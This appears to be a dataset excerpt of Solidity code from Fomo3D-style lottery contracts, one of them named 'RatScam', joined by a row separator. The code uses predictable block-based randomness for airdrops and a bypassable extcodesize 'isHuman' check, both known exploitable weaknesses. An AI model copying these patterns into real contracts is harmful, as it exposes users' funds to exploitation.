uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,921 |
pragma solidity ^0.4.24;
contract RSEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularRatScam is RSEvents {}
contract RatScam is modularRatScam {
using SafeMath for *;
using NameFilter for string;
using RSKeysCalc for uint256;
RatInterfaceForForwarder constant private RatKingCorp = RatInterfaceForForwarder(0xe7c3101745b3dd71228006084dccb619340f8390);
RatBookInterface constant private RatBook = RatBookInterface(0xf5c4a2c3a92a8450899d064074cec29a9756c95d);
string constant public name = "RatScam Round #1";
string constant public symbol = "RS1";
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RSdatasets.Player) public plyr_;
mapping (uint256 => RSdatasets.PlayerRounds) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
RSdatasets.Round public round_;
uint256 public fees_ = 60;
uint256 public potSplit_ = 45;
constructor()
public
{
}
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_.end && round_.ended == false && round_.plyr != 0)
{
RSdatasets.EventReturns memory _eventData_;
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = RatBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now < round_.end)
if (_now > round_.strt + rndGap_)
return( (round_.end).sub(_now) );
else
return( (round_.strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
if (now > round_.end && round_.ended == false && round_.plyr != 0)
{
if (round_.plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_.pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID)
private
view
returns(uint256)
{
return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[_pID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
return
(
round_.keys,
round_.end,
round_.strt,
round_.pot,
round_.plyr,
plyr_[round_.plyr].addr,
plyr_[round_.plyr].name,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
core(_pID, msg.value, _affID, _eventData_);
} else {
if (_now > round_.end && round_.ended == false)
{
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_pID, _eth, _affID, _eventData_);
} else if (_now > round_.end && round_.ended == false) {
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_.eth < 100000000000000000000 && plyrRnds_[_pID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_.eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys);
if (round_.plyr != _pID)
round_.plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID].keys = _keys.add(plyrRnds_[_pID].keys);
plyrRnds_[_pID].eth = _eth.add(plyrRnds_[_pID].eth);
round_.keys = _keys.add(round_.keys);
round_.eth = _eth.add(round_.eth);
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
